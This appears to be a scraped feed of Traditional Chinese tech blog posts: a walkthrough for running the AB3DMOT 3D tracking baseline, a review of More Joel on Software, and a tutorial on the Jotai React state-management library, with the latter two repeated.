今天用很簡短的篇幅紀錄了我把 AB3DMOT 跑起來的過程,有興趣做 3DMOT 研究的讀者,恭喜你,你已經獲得了一個隨時可以跑起來比較的 baseline 方法,你也可以基於現有的 code 去改良,寫出自己的 3D MOT。
繼在 陪你讀論文 - 3D Multi-Object Tracking: A Baseline and New Evaluation Metrics (IROS 2020) 中介紹了 AB3DMOT 的概念,今天要來把他們的 code 跑起來,讓大家之後也能自己去改裡面的 code、甚至是延伸出自己的改良版。基本上作者已經在 README.md 把步驟寫得滿完整的了,不過抱持著可能會有一些要注意的地方,我還是寫了這篇記錄,供以後的自己或有興趣的讀者參考。
在跑起別人 code 的時候,有時可能會遇到一些問題,這時候就可以先想想最後會看到什麼樣的風景,然後就會因為想看到那風景,繼續嘗試了,放張風景圖:
雖然作者提供的步驟是使用 venv,但我個人偏好 conda,如果你對 venv 跟 conda 的定位不熟,可以參考這篇討論 - Does Conda replace the need for virtualenv?。
直接放上 commands:
conda create --name ab3dmot python=3.6
conda activate ab3dmot
cd 到你想要儲存這些 code 的資料夾
git clone https://github.com/xinshuoweng/Xinshuo_PyToolbox
cd Xinshuo_PyToolbox
pip install -r requirements.txt
cd ..
https://github.com/xinshuoweng/AB3DMOT.git
cd AB3DMOT/
pip install -r requirements.txt
先從 main.py 開始,main.py 會做的事情就是執行 tracking 的過程,並把 track 的結果記錄下來。
export PYTHONPATH=${PYTHONPATH}:/home/ricky/playground/AB3DMOT/AB3DMOT
export PYTHONPATH=${PYTHONPATH}:/home/ricky/playground/AB3DMOT/Xinshuo_PyToolbox
python main.py pointrcnn_Car_val
跑起來就會看到下面的輸出:
(ab3dmot) ricky@system76-pc:~/playground/AB3DMOT/AB3DMOT$ python main.py pointrcnn_Car_val
Total Tracking took: 40.092 for 8008 frames or 199.7 FPS
這時你可以跑跑看 evaluation,會產生一些 tracking metrics:
python evaluation/evaluate_kitti3dmot.py pointrcnn_Car_val
這一步會產生的 output 滿長的,總之最後是長這樣:
=================evaluation: best results with single threshold=================
Multiple Object Tracking Accuracy (MOTA) 0.8624
Multiple Object Tracking Precision (MOTP) 0.7843
Multiple Object Tracking Accuracy (MOTAL) 0.8624
Multiple Object Detection Accuracy (MODA) 0.8624
Multiple Object Detection Precision (MODP) 0.8311
Recall 0.9217
Precision 0.9622
F1 0.9415
False Alarm Rate 0.0931
Mostly Tracked 0.7568
Partly Tracked 0.2054
Mostly Lost 0.0378
True Positives 9279
Ignored True Positives 1688
False Positives 365
False Negatives 788
Ignored False Negatives 783
ID-switches 0
Fragmentations 15
Ground Truth Objects (Total) 10850
Ignored Ground Truth Objects 2471
Ground Truth Trajectories 210
Tracker Objects (Total) 10222
Ignored Tracker Objects 578
Tracker Trajectories 1034
================================================================================
========================evaluation: average over recall=========================
sAMOTA AMOTA AMOTP
0.9328 0.4543 0.7741
================================================================================
Thank you for participating in our benchmark!
我最期待就是這一步,因為跑出 3D bounding box 實在太帥了,不過我發現還需要補裝個 terminaltables,不知道為什麼,在 Xinshuo_PyToolbox 的 requirements.txt 裡面被 comment 掉。
pip install terminaltables
python visualization.py pointrcnn_Car_val
跑起來會看到下面的輸出:
(ab3dmot) ricky@system76-pc:~/playground/AB3DMOT/AB3DMOT$ python visualization.py pointrcnn_Car_val
the input folder does not exist data/KITTI/resources/training/image_02/0000
number of images to visualize is 0
the input folder does not exist data/KITTI/resources/training/image_02/0003
那是因為沒有下載 KITTI 的 image,沒有 image 當然就無法畫囉,所以要去下載並把 image 檔放到對的位置。這時再執行就會看到:
(ab3dmot) ricky@system76-pc:~/playground/AB3DMOT/AB3DMOT$ python visualization.py pointrcnn_Car_val
number of images to visualize is 154
processing index: 0, 1/154, results from ./results/pointrcnn_Car_val/trk_withid/0000/000000.txt
number of objects to plot is 3
processing index: 1, 2/154, results from ./results/pointrcnn_Car_val/trk_withid/0000/000001.txt
number of objects to plot is 5
processing index: 2, 3/154, results from ./results/pointrcnn_Car_val/trk_withid/0000/000002.txt
number of objects to plot is 4
...
然後就可以去 results/
看到畫出來的結果了!
上面的步驟讓我們可以很快速的把整個流程跑一遍,可是有一個微空虛的地方,就是我們是直接用現成的 3D detection results,像我們剛剛跑的是 pointrcnn_Car_val 這份,是直接從 ./data/KITTI/pointrcnn_Car_val 拿到資料。
如果我們今天想要用 AB3DMOT 的框架,但想要更換 3D object detection 的 module,要怎麼做呢?
我們可以嘗試把 PointRCNN 跑起來,然後產生出 AB3DMOT 需要吃的 txt 檔,關於這件事要怎麼做到,有機會我再寫一篇文章。
今天用很簡短的篇幅紀錄了我把 AB3DMOT 跑起來的過程,有興趣做 3DMOT 研究的讀者,恭喜你,你已經獲得了一個隨時可以跑起來比較的 baseline 方法,你也可以基於現有的 code 去改良,寫出自己的 3D MOT。
在程式設計和軟體開發的圈子中,有幾本經典的書籍即便 在資訊科技快速變遷的時代中仍歷久彌新(你第一個在腦海中浮現的可能是人月神話等書)。上次為讀者們介紹的是筆者最近又重新閱讀的 Joel on Software 約耳趣談軟體這本書(有中文譯本,但已停止出版),這次我們接著介紹續集 More Joel on Software 約耳續談軟體。More Joel on Software 約耳續談軟體,主要是討論軟體開發人員的職涯規劃和發展以及軟體企業的經營管理等議題。兩本都是值得軟體開發人員一讀的好書。
在介紹這本書的內容之前,我們先來介紹這位作者 Joel Spolsky。有些讀者可能沒有聽過 Joel 的大名,但事實上 Joel 是知名程式設計問答平台 Stack Overflow 和看板軟體 Trello 的共同創辦人,也曾參與 Microsoft 的 Excel 應用開發,同時也是早期非常知名的技術部落客和作者,特別的是他後來移居紐約開創事業而非傳統的加州矽谷灣區,同樣跳脫了一般人的思考框架。
書中的內容主要是整合 Joel on Software blog 部落格的內容並額外新增一些新的主題。書中使用輕鬆詼諧的文筆介紹軟體開發人員職涯發展和軟體企業經營管理的相關議題討論,除了有些技術探討的章節外不會覺得太過生硬。接下來本文會摘錄一些書中重要的內容和觀念以及加入筆者個人自己的一些心得進行分享。
有可能是因為本書有許多內容是從網站上整理而成,在內容排序上各自章節分別獨立,沒有特別的次序排列。給未來開發人員的提醒這個主題不是放在書中的最前面,但若能在從開發者個體出發再邁向人力資源管理和軟體開發管理會比較有循序漸進的感受。當然這個主題主要是給還是學生的讀者但也適合已經成為開發人員的讀者再次回顧和反思。
軟體開發的本質是人,如何尋找並管理好軟體開發人員一門重要的課題。然而開發人員往往不喜歡被管理和約束,也很容易對於不當的管理方式和不舒適的開發環境進行反彈。書中提到常見的幾種管理方式以及優缺點提供我們參考借鏡。
軟體開發管理從開始規劃設計專案到真正開工到維護及客戶支援(support)是軟體開發管理常見基本的流程循環。作者建議開發人員和專案管理人員需要具備大局觀,在開發軟體專案前一定要確認好需求再開始寫程式,並權衡投入的資源的商業價值取捨。例如:若是沒有用的功能,產品的使用介面再好,也沒有人會使用。
此外,作者也分享了在進行產品客戶支援(support)的幾個建議:
以上簡單整理了約耳續談軟體(More Joel on Software)導讀書摘,接下來筆者會持續透過閱讀分享更多經典的軟體開發和程式設計、專案管理以及產品設計書籍與讀者分享。優秀的開發人員除了持續鑽研技術外,若能持續學習關於軟體人員職涯規劃和經營管理相關知識,將對於。若讀者有建議提醒或是新的想法也歡迎一起交流討論!
在程式設計和軟體開發的圈子中,有幾本經典的書籍即便 在資訊科技快速變遷的時代中仍歷久彌新(你第一個在腦海中浮現的可能是人月神話等書)。上次為讀者們介紹的是筆者最近又重新閱讀的 Joel on Software 約耳趣談軟體這本書(有中文譯本,但已停止出版),這次我們接著介紹續集 More Joel on Software 約耳續談軟體。More Joel on Software 約耳續談軟體,主要是討論軟體開發人員的職涯規劃和發展以及軟體企業的經營管理等議題。兩本都是值得軟體開發人員一讀的好書。
在介紹這本書的內容之前,我們先來介紹這位作者 Joel Spolsky。有些讀者可能沒有聽過 Joel 的大名,但事實上 Joel 是知名程式設計問答平台 Stack Overflow 和看板軟體 Trello 的共同創辦人,也曾參與 Microsoft 的 Excel 應用開發,同時也是早期非常知名的技術部落客和作者,特別的是他後來移居紐約開創事業而非傳統的加州矽谷灣區,同樣跳脫了一般人的思考框架。
書中的內容主要是整合 Joel on Software blog 部落格的內容並額外新增一些新的主題。書中使用輕鬆詼諧的文筆介紹軟體開發人員職涯發展和軟體企業經營管理的相關議題討論,除了有些技術探討的章節外不會覺得太過生硬。接下來本文會摘錄一些書中重要的內容和觀念以及加入筆者個人自己的一些心得進行分享。
有可能是因為本書有許多內容是從網站上整理而成,在內容排序上各自章節分別獨立,沒有特別的次序排列。給未來開發人員的提醒這個主題不是放在書中的最前面,但若能在從開發者個體出發再邁向人力資源管理和軟體開發管理會比較有循序漸進的感受。當然這個主題主要是給還是學生的讀者但也適合已經成為開發人員的讀者再次回顧和反思。
軟體開發的本質是人,如何尋找並管理好軟體開發人員一門重要的課題。然而開發人員往往不喜歡被管理和約束,也很容易對於不當的管理方式和不舒適的開發環境進行反彈。書中提到常見的幾種管理方式以及優缺點提供我們參考借鏡。
軟體開發管理從開始規劃設計專案到真正開工到維護及客戶支援(support)是軟體開發管理常見基本的流程循環。作者建議開發人員和專案管理人員需要具備大局觀,在開發軟體專案前一定要確認好需求再開始寫程式,並權衡投入的資源的商業價值取捨。例如:若是沒有用的功能,產品的使用介面再好,也沒有人會使用。
此外,作者也分享了在進行產品客戶支援(support)的幾個建議:
以上簡單整理了約耳續談軟體(More Joel on Software)導讀書摘,接下來筆者會持續透過閱讀分享更多經典的軟體開發和程式設計、專案管理以及產品設計書籍與讀者分享。優秀的開發人員除了持續鑽研技術外,若能持續學習關於軟體人員職涯規劃和經營管理相關知識,將對於。若讀者有建議提醒或是新的想法也歡迎一起交流討論!
前端狀態管理方式百百種,但大致上可以分為兩類:
一種是與 UI view library 綁在一起的,以 React 為例,React state、Context API 與去年剛推出的實驗性套件 Recoil 就屬於這種,主要將狀態資料存在 React tree 中。
另一種則是 view-layer agnostic library,資料存在外部 store,讓你可以套用在任何 UI framework 或 view library,如最常見的 Redux、Mobx 等。
再往下細分可以用 Mental modal 分為:Flux、Proxy 與 Atomic 等三種狀態管理邏輯,其中 Flux(Redux)與 Proxy(Mobx)算是出來比較久的,而 Atomic 則是隨著 Recoil 的推出而興起,今天就是想來了解一下 Atomic 的概念是什麼,建構在其上的套件用起來是如何。
但是,今天我想介紹的不是 Recoil,而是一個與 Recoil 採用同樣概念,但 API 與整體 bundle size 小非常多的 Jōtai。
minified + gzipped 後的大小,Jōtai: 3.3kb vs Recoil: 14kb
這也是我想從 jotai 切入的原因,因為簡單的 API 與輕量的 bundle size 通常也代表他的原始碼會比較簡短好 trace(但不代表實作上比較簡單),用起來負擔也很輕。
Jōtai 是日文的 “狀態” 的意思,最開始是由一個產量極高的日本工程師 - Daishi Kato 所開發,在其部落格上有介紹初始動機與一開始的 prototype - use-atom。
現在 Jotai 則是移至 @pmndrs 去維護,其底下還有像是 Zustand、valtio 這類簡化 Redux 與 Mobx 的 state management tool,以及更廣為人知的 react-spring 和 react-three-fiber。
進入 Jotai 的介紹前,先簡介一下 Atomic 是什麼。
Recoil 中定義 atom 是你 application 中的一小塊狀態,感覺像是把原本 redux state tree 中的狀態都切割成可以獨立創建(可以 on-demand create,不一定要在何時創建)、更新、讀取的個別 state,有助於 code splitting。
每一個 atom 除了 primitive state 外,也能非同步處理 derived state(根據別的 state 進行運算、呼叫 API 等 side effect),加上 atom 是存在 React tree 中,能很簡單得搭配 <Suspense>
與 <ErrorBoundary>
來處理 side effect 狀態。
這些個別的 atom 可以隨時被不同 component 給取用與更新,只有與該 atom 有關聯的 component 會在 atom 更新時觸發 re-render,因此相比單純使用 React Context 來說,用在頻繁更新的 application 上也沒問題。
但值得一提的是,Recoil 與 Jotai 底層都還是用了 React Context,只是都用了useMutableSource
與 useRef
來 bail out rerendering。
P.S. jotai 原本使用同為 dai-shi 開發的 use-context-selector
,但就在一週前左右,改為使用與 Recoil 相同的 useMutableSource
solution,猜測是為了能更好的 support concurrent mode 底下的各種使用情境。細節可參考這隻 PR。
P.S.S 針對 use-context-selector
,可以參考先前文章 - Context API 效能問題 - use-context-selector 解析 了解其實作(文章內容是 v1 的實作,目前已經有 v2 版本)
Jotai 的官方說明與這篇文章詳細比較了 Recoil 與 Jotai 的差異,推薦有興趣的讀者去閱讀。
官網從幾個面向來分析差異,並說明了兩者的使用時機,我這邊翻譯總結一下:
開發資源
Jotai 是由 Poimandres 的幾位開發者共同維護,而 Recoil 除了社群外還有 Facebook 的支援。
功能差異
Jotai 著重在易學且簡潔的 primitive API,目標是 unopinionated 的 library,功能上不比 Recoil 能支援得多;Recoil 應該是希望能支援多種需求,並應用在大型且有複雜交互作用的應用程式上。
使用技術上的主要差異
Jotai 的 atom object 沒有 key,用的是 object referential identities,而 Recoil 的 atom 則有 string keys,除了在判斷 atom 更新上會有所不同外,debug 時,Jotai 也需要額外設置 debugLabel,Recoil 則可以直接利用 atom key 來輔助。
依靠 object referential identities 的另一個潛在問題是,當你用 React Fast Refresh 時,頁面上舊的狀態不能被保留住,因為 refresh 後的 atoms 都會是新的 object。這點在 Recoil 就沒問題,因為他們可以用 string key 來辨別。
使用時機
如果上述三點都不是你的 deal-breaker,那選哪個都可以,Jotai 跟 Recoil 在概念與目的上基本是一樣的。
接下來會主要介紹 Jotai 的核心用法。
不過還是先看個最簡單的例子比較有感覺:
import { useAtom, Provider } from 'jotai'
const countAtom = atom(0)
const Counter = () => {
const [count, setCount] = useAtom(countAtom)
return (
<h1>
{count}
<button onClick={() => setCount(c => c + 1)}>one up</button>
</h1>
)
}
const Root = () => (
<Provider>
<Counter />
</Provider>
)
最簡單的用法就跟 React.useState
一樣,差別只在於我們需要先用 atom()
來創建一個 atom 傳入 useAtom
使用,接下來 useAtom
一樣會回傳一個 tuple,包含目前的值與一個 updating function。
這個例子就展示完了 Jotai 的三個核心函式(jotai/core
):
atom 函數用來創建 atom,接受至多兩個參數,當只有第一個參數,且該參數為非函數時,atom() 回傳的是 primitive atom;若是傳入 function,則回傳 derived atom。
const primitiveAtom = atom(initialValue)
const derivedAtomWithRead = atom(readFunction)
const derivedAtomWithReadWrite = atom(readFunction, writeFunction)
const derivedAtomWithWriteOnly = atom(null, writeFunction)
如上面範例所示,derived atom 根據傳入的函數分為 writable atom 或 read-only atom:
若只傳入 readFunction:(get) => value | Promise<value>
,則代表為 read-only atom,其中傳入 readFunction 的 get
函數可以用來讀取目前存在 application 中的 atom 的值,此外 get
會追蹤 dependency,意思是,當讀取的 atom 的值變動時,會觸發這個 get
函式,重新計算這個 derived atom 的值。
舉個例子來說:
const uppercaseAtom = atom((get) => get(textAtom).toUpperCase())
在這段程式中,uppercaseAtom 是由傳入一個 readFunction 的 atom 函式所創建的 derived atom。該 readFunction 會讀取 textAtom 的值來做運算並回傳,所以 textAtom 是 uppercaseAtom 的 dependency,當 textAtom 變動時,這個 readFunction 會重跑一遍,讓 uppercaseAtom 也連帶更新。
若有傳入 writeFunction:(get, set, update) => void | Promise<void>
,就會回傳 writable atom。其中 get
與 readFunction 的 get
類似,但這個 get 函數不會因為 dependcy 變動而被觸發,比較像是讓你在 update atom 值時,可以拿別的 atom 來操作;set
就是用來更新 application 中的 atom 值;update
則是當外部透過類似 setState
的函式(實際上會是 useAtom
回傳的 updating function)試圖更改這個 derived atom 時會傳入的值,例如:setState(newValue)
,update
就會是 newValue。
P.S. primitive atom 是 writable atom,其 writeFunction 就等同於 useState
回傳的 setState()
。
Provider 就是儲存 atom value 的地方,用法跟 React context provider 一樣:
const Root = () => (
<Provider>
<App />
</Provider>
)
你可以用一個 provider 放在你的 Root component,也可以創好幾個 provider 個別放在不同的 component tree 中,這樣 atom 就會存在各自的 component tree 裡。
useAtom 就像是 useState 一樣的 hook,用來讀取 Provider 內的 atom 值,並且會回傳 updating function:
const [value, updateValue] = useAtom(anAtom)
如同最前面範例說的,需要傳入一個 atom,可以是 primitive atom 也可以是 derived atom,如果是 derived atom,他會先執行 readFunction,計算完值以後再回傳。
若是第一次使用該 atom,也就是代表 Provider 內還沒有存任何 value 時,這邊傳入的 atom 就會被作為 initial value,存到 Provider 中。
此外,如同前面 atom 的介紹,當傳入的 atom 變更時,無論是 primitive atom 或是 derived atom,這邊也都會連帶更新。
Jotai 就是透過這種方式在不同的 component 之間共享 state。
至於 useAtom 回傳的 tuple 中的第二個值,也就是 updating function,會依照傳入 atom 的不同有不同的行為,若是 primitive atom,會使用內建的 updating function,模擬 React.setState
;若是有傳入自訂 writeFunction 的 writable atom,則會將傳入 updating function 的值傳給 writeFunction 執行。
接著我們可以來看看怎麼在 Jotai 中使用 async function,像是拿 API 資料或是觸發 action 等等。
derived async read-only atom
在 atom 的 readFunction 中讀取 API 資料:
const urlAtom = atom("https://json.host.com")
const fetchUrlAtom = atom(
async (get) => {
const response = await fetch(get(urlAtom))
return await response.json()
}
)
function Status() {
const [json] = useAtom(fetchUrlAtom)
}
假如 urlAtom 被更改,readFunction 會重新執行,然後 Status component 的 re-render 會等到 readFunction 執行完,useAtom 取得新值後才進行。
derived async writable atom
除了 readFunction,我們也能在 writeFunction 中放入 async function:
const fetchCountAtom = atom(
(get) => get(countAtom),
async (_get, set, url) => {
const response = await fetch(url)
set(countAtom, (await response.json()).count)
}
)
function Controls() {
const [count, compute] = useAtom(fetchCountAtom)
return <button onClick={() => compute("http://count.host.com")}>compute</button>
}
一個實際一點的範例:
const postId = atom(9001);
const postData = atom(async (get) => {
const id = get(postId);
const response = await fetch(
`https://hacker-news.firebaseio.com/v0/item/${id}.json`
)
return await response.json();
});
function Id() {
const [id] = useAtom(postId);
const props = useSpring({ from: { id: id }, id, reset: true });
return <a.h1>{props.id.to(Math.round)}</a.h1>;
}
function Next() {
const [, set] = useAtom(postId);
return (
<button onClick={() => set((x) => x + 1)}>
<div>→</div>
</button>
);
}
function PostTitle() {
const [{ by, title, url, text, time }] = useAtom(postData);
return (
<>
<h2>{by}</h2>
<h6>{new Date(time * 1000).toLocaleDateString('en-US')}</h6>
{title && <h4>{title}</h4>}
<a href={url}>{url}</a>
{text && <div>{Parser(text)}</div>}
</>
);
}
export default function App() {
return (
<Provider>
<Id />
<div>
<Suspense fallback={<h2>Loading...</h2>}>
<PostTitle />
</Suspense>
</div>
<Next />
</Provider>
);
}
在這個範例中可以看到要如何在不同的 component 間使用定義在 Global 的 atoms,當 <Next />
元件的 button 被點選時,觸發了 updating function 來更改 postId
atom,同時 postData
這個 derived atom 因為其 readFunction 中有 get postId
atom,所以也會被觸發,導致 PostTitle
能夠取得新值,並 re-render component。
在 Jotai 上使用 async function 時要注意一點,就是必須搭配 React.Suspense
,因為當 async function 還沒回傳值時,React tree 會被 suspense 住。
在上面的範例中,我們的 <Next />
component 只有用到 useAtom 回傳的 updating function,但是每當 postId 更新時,他也會被觸發 re-render。
你可以在原本的 code 中加入 (rendered: {++useRef(0).current})
來驗證看看
function Next() {
const [, set] = useAtom(postId)
return (
<button onClick={() => set((x) => x + 1)}>
<div>→</div>
(rendered: {++useRef(0).current})
</button>
)
}
你會發現每點一次,Next 元件都會被觸發 render,但其實 Next 元件沒有讀取 postId atom 的值,不需要觸發 re-render的。
這問題可以運用 useMemo
把 useAtom 多包一層來解決,如下:
const useSetAtom = (anAtom) => {
const writeOnlyAtom = useMemo(() => atom(null, (get, set, x) => set(anAtom, x)), [anAtom]);
return useAtom(writeOnlyAtom)[1];
};
這種感覺就很常需要用到的 hooks,Jotai 有另外寫了一系列的 utils function 供大家使用,放在 jotai/utils
底下。
在官方 github 中,可以找到有哪些 utils,包含使用方法、範例,甚至連促使該 util 產生的 issue,有需要的時候可以去查詢。
到這邊就差不多把基本的用法與概念都介紹完了,以 Atomic 為概念的 state management 在使用上相對簡單,jotai 的精簡 API 也讓入門非常容易,雖然維護人員不多,但主要貢獻者的生產力很強大,也很厲害,我認為在小專案上還是非常適合拿來使用!接下來有機會的話,想從 jotai 的原始碼來了解是如何實作 atomic 概念的 state management library!感謝大家收看!
]]>前端狀態管理方式百百種,但大致上可以分為兩類:
一種是與 UI view library 綁在一起的,以 React 為例,React state、Context API 與去年剛推出的實驗性套件 Recoil 就屬於這種,主要將狀態資料存在 React tree 中。
另一種則是 view-layer agnostic library,資料存在外部 store,讓你可以套用在任何 UI framework 或 view library,如最常見的 Redux、Mobx 等。
再往下細分可以用 Mental modal 分為:Flux、Proxy 與 Atomic 等三種狀態管理邏輯,其中 Flux(Redux)與 Proxy(Mobx)算是出來比較久的,而 Atomic 則是隨著 Recoil 的推出而興起,今天就是想來了解一下 Atomic 的概念是什麼,建構在其上的套件用起來是如何。
但是,今天我想介紹的不是 Recoil,而是一個與 Recoil 採用同樣概念,但 API 與整體 bundle size 小非常多的 Jōtai。
minified + gzipped 後的大小,Jōtai: 3.3kb vs Recoil: 14kb
這也是我想從 jotai 切入的原因,因為簡單的 API 與輕量的 bundle size 通常也代表他的原始碼會比較簡短好 trace(但不代表實作上比較簡單),用起來負擔也很輕。
Jōtai 是日文的 “狀態” 的意思,最開始是由一個產量極高的日本工程師 - Daishi Kato 所開發,在其部落格上有介紹初始動機與一開始的 prototype - use-atom。
現在 Jotai 則是移至 @pmndrs 去維護,其底下還有像是 Zustand、valtio 這類簡化 Redux 與 Mobx 的 state management tool,以及更廣為人知的 react-spring 和 react-three-fiber。
進入 Jotai 的介紹前,先簡介一下 Atomic 是什麼。
Recoil 中定義 atom 是你 application 中的一小塊狀態,感覺像是把原本 redux state tree 中的狀態都切割成可以獨立創建(可以 on-demand create,不一定要在何時創建)、更新、讀取的個別 state,有助於 code splitting。
每一個 atom 除了 primitive state 外,也能非同步處理 derived state(根據別的 state 進行運算、呼叫 API 等 side effect),加上 atom 是存在 React tree 中,能很簡單得搭配 <Suspense>
與 <ErrorBoundary>
來處理 side effect 狀態。
這些個別的 atom 可以隨時被不同 component 給取用與更新,只有與該 atom 有關聯的 component 會在 atom 更新時觸發 re-render,因此相比單純使用 React Context 來說,用在頻繁更新的 application 上也沒問題。
但值得一提的是,Recoil 與 Jotai 底層都還是用了 React Context,只是都用了useMutableSource
與 useRef
來 bail out rerendering。
P.S. jotai 原本使用同為 dai-shi 開發的 use-context-selector
,但就在一週前左右,改為使用與 Recoil 相同的 useMutableSource
solution,猜測是為了能更好的 support concurrent mode 底下的各種使用情境。細節可參考這隻 PR。
P.S.S 針對 use-context-selector
,可以參考先前文章 - Context API 效能問題 - use-context-selector 解析 了解其實作(文章內容是 v1 的實作,目前已經有 v2 版本)
Jotai 的官方說明與這篇文章詳細比較了 Recoil 與 Jotai 的差異,推薦有興趣的讀者去閱讀。
官網從幾個面向來分析差異,並說明了兩者的使用時機,我這邊翻譯總結一下:
開發資源
Jotai 是由 Poimandres 的幾位開發者共同維護,而 Recoil 除了社群外還有 Facebook 的支援。
功能差異
Jotai 著重在易學且簡潔的 primitive API,目標是 unopinionated 的 library,功能上不比 Recoil 能支援得多;Recoil 應該是希望能支援多種需求,並應用在大型且有複雜交互作用的應用程式上。
使用技術上的主要差異
Jotai 的 atom object 沒有 key,用的是 object referential identities,而 Recoil 的 atom 則有 string keys,除了在判斷 atom 更新上會有所不同外,debug 時,Jotai 也需要額外設置 debugLabel,Recoil 則可以直接利用 atom key 來輔助。
依靠 object referential identities 的另一個潛在問題是,當你用 React Fast Refresh 時,頁面上舊的狀態不能被保留住,因為 refresh 後的 atoms 都會是新的 object。這點在 Recoil 就沒問題,因為他們可以用 string key 來辨別。
使用時機
如果上述三點都不是你的 deal-breaker,那選哪個都可以,Jotai 跟 Recoil 在概念與目的上基本是一樣的。
接下來會主要介紹 Jotai 的核心用法。
不過還是先看個最簡單的例子比較有感覺:
import { useAtom, Provider } from 'jotai'
const countAtom = atom(0)
const Counter = () => {
const [count, setCount] = useAtom(countAtom)
return (
<h1>
{count}
<button onClick={() => setCount(c => c + 1)}>one up</button>
</h1>
)
}
const Root = () => (
<Provider>
<Counter />
</Provider>
)
最簡單的用法就跟 React.useState
一樣,差別只在於我們需要先用 atom()
來創建一個 atom 傳入 useAtom
使用,接下來 useAtom
一樣會回傳一個 tuple,包含目前的值與一個 updating function。
這個例子就展示完了 Jotai 的三個核心函式(jotai/core
):
atom 函數用來創建 atom,接受至多兩個參數,當只有第一個參數,且該參數為非函數時,atom() 回傳的是 primitive atom;若是傳入 function,則回傳 derived atom。
const primitiveAtom = atom(initialValue)
const derivedAtomWithRead = atom(readFunction)
const derivedAtomWithReadWrite = atom(readFunction, writeFunction)
const derivedAtomWithWriteOnly = atom(null, writeFunction)
如上面範例所示,derived atom 根據傳入的函數分為 writable atom 或 read-only atom:
若只傳入 readFunction:(get) => value | Promise<value>
,則代表為 read-only atom,其中傳入 readFunction 的 get
函數可以用來讀取目前存在 application 中的 atom 的值,此外 get
會追蹤 dependency,意思是,當讀取的 atom 的值變動時,會觸發這個 get
函式,重新計算這個 derived atom 的值。
舉個例子來說:
const uppercaseAtom = atom((get) => get(textAtom).toUpperCase())
在這段程式中,uppercaseAtom 是由傳入一個 readFunction 的 atom 函式所創建的 derived atom。該 readFunction 會讀取 textAtom 的值來做運算並回傳,所以 textAtom 是 uppercaseAtom 的 dependency,當 textAtom 變動時,這個 readFunction 會重跑一遍,讓 uppercaseAtom 也連帶更新。
若有傳入 writeFunction:(get, set, update) => void | Promise<void>
,就會回傳 writable atom。其中 get
與 readFunction 的 get
類似,但這個 get 函數不會因為 dependcy 變動而被觸發,比較像是讓你在 update atom 值時,可以拿別的 atom 來操作;set
就是用來更新 application 中的 atom 值;update
則是當外部透過類似 setState
的函式(實際上會是 useAtom
回傳的 updating function)試圖更改這個 derived atom 時會傳入的值,例如:setState(newValue)
,update
就會是 newValue。
P.S. primitive atom 是 writable atom,其 writeFunction 就等同於 useState
回傳的 setState()
。
Provider 就是儲存 atom value 的地方,用法跟 React context provider 一樣:
const Root = () => (
<Provider>
<App />
</Provider>
)
你可以用一個 provider 放在你的 Root component,也可以創好幾個 provider 個別放在不同的 component tree 中,這樣 atom 就會存在各自的 component tree 裡。
useAtom 就像是 useState 一樣的 hook,用來讀取 Provider 內的 atom 值,並且會回傳 updating function:
const [value, updateValue] = useAtom(anAtom)
如同最前面範例說的,需要傳入一個 atom,可以是 primitive atom 也可以是 derived atom,如果是 derived atom,他會先執行 readFunction,計算完值以後再回傳。
若是第一次使用該 atom,也就是代表 Provider 內還沒有存任何 value 時,這邊傳入的 atom 就會被作為 initial value,存到 Provider 中。
此外,如同前面 atom 的介紹,當傳入的 atom 變更時,無論是 primitive atom 或是 derived atom,這邊也都會連帶更新。
Jotai 就是透過這種方式在不同的 component 之間共享 state。
至於 useAtom 回傳的 tuple 中的第二個值,也就是 updating function,會依照傳入 atom 的不同有不同的行為,若是 primitive atom,會使用內建的 updating function,模擬 React.setState
;若是有傳入自訂 writeFunction 的 writable atom,則會將傳入 updating function 的值傳給 writeFunction 執行。
接著我們可以來看看怎麼在 Jotai 中使用 async function,像是拿 API 資料或是觸發 action 等等。
derived async read-only atom
在 atom 的 readFunction 中讀取 API 資料:
const urlAtom = atom("https://json.host.com")
const fetchUrlAtom = atom(
async (get) => {
const response = await fetch(get(urlAtom))
return await response.json()
}
)
function Status() {
const [json] = useAtom(fetchUrlAtom)
}
假如 urlAtom 被更改,readFunction 會重新執行,然後 Status component 的 re-render 會等到 readFunction 執行完,useAtom 取得新值後才進行。
derived async writable atom
除了 readFunction,我們也能在 writeFunction 中放入 async function:
const fetchCountAtom = atom(
(get) => get(countAtom),
async (_get, set, url) => {
const response = await fetch(url)
set(countAtom, (await response.json()).count)
}
)
function Controls() {
const [count, compute] = useAtom(fetchCountAtom)
return <button onClick={() => compute("http://count.host.com")}>compute</button>
}
一個實際一點的範例:
const postId = atom(9001);
const postData = atom(async (get) => {
const id = get(postId);
const response = await fetch(
`https://hacker-news.firebaseio.com/v0/item/${id}.json`
)
return await response.json();
});
function Id() {
const [id] = useAtom(postId);
const props = useSpring({ from: { id: id }, id, reset: true });
return <a.h1>{props.id.to(Math.round)}</a.h1>;
}
function Next() {
const [, set] = useAtom(postId);
return (
<button onClick={() => set((x) => x + 1)}>
<div>→</div>
</button>
);
}
function PostTitle() {
const [{ by, title, url, text, time }] = useAtom(postData);
return (
<>
<h2>{by}</h2>
<h6>{new Date(time * 1000).toLocaleDateString('en-US')}</h6>
{title && <h4>{title}</h4>}
<a href={url}>{url}</a>
{text && <div>{Parser(text)}</div>}
</>
);
}
export default function App() {
return (
<Provider>
<Id />
<div>
<Suspense fallback={<h2>Loading...</h2>}>
<PostTitle />
</Suspense>
</div>
<Next />
</Provider>
);
}
在這個範例中可以看到要如何在不同的 component 間使用定義在 Global 的 atoms,當 <Next />
元件的 button 被點選時,觸發了 updating function 來更改 postId
atom,同時 postData
這個 derived atom 因為其 readFunction 中有 get postId
atom,所以也會被觸發,導致 PostTitle
能夠取得新值,並 re-render component。
在 Jotai 上使用 async function 時要注意一點,就是必須搭配 React.Suspense
,因為當 async function 還沒回傳值時,React tree 會被 suspense 住。
在上面的範例中,我們的 <Next />
component 只有用到 useAtom 回傳的 updating function,但是每當 postId 更新時,他也會被觸發 re-render。
你可以在原本的 code 中加入 (rendered: {++useRef(0).current})
來驗證看看
function Next() {
const [, set] = useAtom(postId)
return (
<button onClick={() => set((x) => x + 1)}>
<div>→</div>
(rendered: {++useRef(0).current})
</button>
)
}
你會發現每點一次,Next 元件都會被觸發 render,但其實 Next 元件沒有讀取 postId atom 的值,不需要觸發 re-render的。
這問題可以運用 useMemo
把 useAtom 多包一層來解決,如下:
const useSetAtom = (anAtom) => {
const writeOnlyAtom = useMemo(() => atom(null, (get, set, x) => set(anAtom, x)), [anAtom]);
return useAtom(writeOnlyAtom)[1];
};
這種感覺就很常需要用到的 hooks,Jotai 有另外寫了一系列的 utils function 供大家使用,放在 jotai/utils
底下。
